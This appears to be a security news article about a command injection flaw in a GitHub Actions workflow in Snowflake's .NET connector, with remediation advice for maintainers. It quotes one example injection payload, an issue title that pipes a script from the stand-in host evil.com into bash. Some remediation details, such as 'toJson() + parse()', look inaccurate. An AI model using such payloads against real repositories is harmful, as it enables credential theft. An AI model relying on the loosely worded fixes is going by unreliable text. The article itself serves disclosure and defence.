Snowflake GitHub Actions Flaw Lets Crafted Issues Trigger Command Injection

Critical Workflow Injection Vulnerability in Snowflake’s .NET Connector

Cybersecurity researchers at Wiz have identified a severe supply chain injection flaw in Snowflake’s public snowflakedb/snowflake-connector-net GitHub repository. The vulnerability centers on a misconfigured GitHub Actions workflow that could be exploited through maliciously crafted GitHub issues to trigger command injection—potentially leading to unauthorized access to internal systems.

“The issue was present in .github/workflows/jira_issue.yml, which ran when a [GitHub issue]…”

How the Exploit Chain Works

The vulnerable workflow, jira_issue.yml, was triggered by the issues event—including when issues were opened edited, or labeled. Crucially, the workflow accepted user-controlled input from the GitHub issue’s title and body without proper sanitization or input validation.

In GitHub Actions, workflows that react to issues can access issue data via the github.event context (e.g., github.event.issue.title). When such data is passed directly to shell scripts or environment variables used in workflow steps without escaping, it enables command injection. For example:

• run: echo "${{ github.event.issue.title }}"
• env: blocks using ${{ github.event.issue.body }} without shell escaping

An attacker could open a GitHub issue with a malicious title like:

test; curl http://evil.com/exfil.sh | bash #

If this string were passed unescaped into a shell command, the semicolon would terminate the echo command, allowing the malicious payload to execute.

Exposure of Internal Jira Credentials

According to the disclosures, the compromised workflow included steps referencing internal Jira integrations. Though no hardcoded secrets were revealed in the public repository, the workflow’s execution environment likely contained environment variables with credentials—used for automating issue creation or synchronization between GitHub and Jira.

A successful injection would allow an attacker to exfiltrate those credentials and abuse them to access Snowflake’s internal issue tracking system. From there, adversaries could extract sensitive internal project data, discover vulnerabilities in unpublicized releases, or pivot to other internal services relying on the same authentication patterns.

“…could be exploited through a crafted GitHub issue to execute commands in a workflow containing internal Jira credentials.”

Snowflake’s Response and Remediation

Snowflake has acknowledged the vulnerability and implemented fixes. The updated workflow now sanitizes user-controlled inputs, restricts event triggers (e.g., limiting execution to specific labels or milestones rather than open/edit events), and avoids passing raw issue data directly into shell contexts.

Key security improvements observed in the remediated version include:

• Input sanitization via GitHub Actions’ built-in toJson() + parse() patterns
• Explicit filtering of issue titles/bodies before use in shell commands
• Replaced direct string interpolation in run: blocks with safer env: scoping plus shell escaping (e.g., bash -c 'echo "$INPUT"' with double-quoted variables)
• Workflow permissions restricted to read-only where write access is unnecessary

Lessons for Open-Source Maintainers

This flaw is a textbook example of how seemingly innocuous integrations—like GitHub issue-triggered automation—can become high-impact attack surfaces when user input is trusted. Wiz’s advisory serves as a reminder for all maintainers of public repositories:

• Treat all GitHub event data as untrusted input, just like HTTP request bodies
• Avoid using github.event.issue.*, github.event.comment.body, or similar fields in shell steps without escaping
• Use OIDC and least-privilege permissions to limit credential exposure
• Review workflows that react to issues, issues_comment, pull_request, or discussion events for unsafe patterns

Organizations leveraging GitHub Actions for internal CI/CD pipelines should audit workflows that interact with third-party services (Jira, ServiceNow, Slack, etc.) and validate input handling—especially if triggered by non-admin users.